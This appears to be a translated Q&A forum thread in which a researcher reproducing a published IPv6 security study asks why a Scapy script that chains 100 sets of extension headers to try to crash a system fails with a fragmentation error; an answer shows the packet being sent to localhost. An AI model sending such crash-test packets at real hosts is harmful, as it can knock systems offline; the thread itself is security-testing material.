我目前正在开展一个有关IPv6安全的项目。我试图复制此文档中的结果:https://www.tno.nl/downloads/testing_the_security_of_IPv6_implementations.pdf
向下滚动到第29页的第4.4节。
我想测试创建具有无限扩展头的数据包是否实际上能够使系统崩溃。我一次又一次地遇到的问题是,当根据文档运行脚本时,我不断收到错误:
File "/usr/lib/python2.7/dist-packages/scapy/packet.py", line 787, in fragment
return Scapy_Exception("cannot fragment this packet")
scapy.error.Scapy_Exception: cannot fragment this packet
我需要将数据包分段。否则我将无法创建这种无尽的扩展标头流。我在Debian 7 Wheezy系统上使用Python 2.7进行测试。
以下是我正在运行的脚本:
from scapy.all import *
packet = IPv6(src="scrIP",dst="dstIP")
for x in range (0,100):
packet = packet/IPv6ExtHdrDestOpt()/IPv6ExtHdrRouting()/IPv6ExtHdrHopByHop()
send(packet)
我一直在寻找,但我发现任何有同样错误的东西。我希望有人可以提供帮助。
答案 0 :(得分:0)
你应该检查scapy的版本。代码适用于我的系统(Ubuntu 14.04,scapy 2.2.0)。还尝试以root身份运行scapy shell中的代码:
$ sudo scapy
Welcome to Scapy (2.2.0)
>>> p = IPv6(src='::1', dst='::1')
>>> for x in range(100): p = p/IPv6ExtHdrDestOpt()/IPv6ExtHdrRouting()/IPv6ExtHdrHopByHop()
...
>>> send(p)
.
Sent 1 packets.
因为您必须将scrIP
和dstIP
替换为真正的IPv6地址作为字符串。
答案 1 :(得分:0)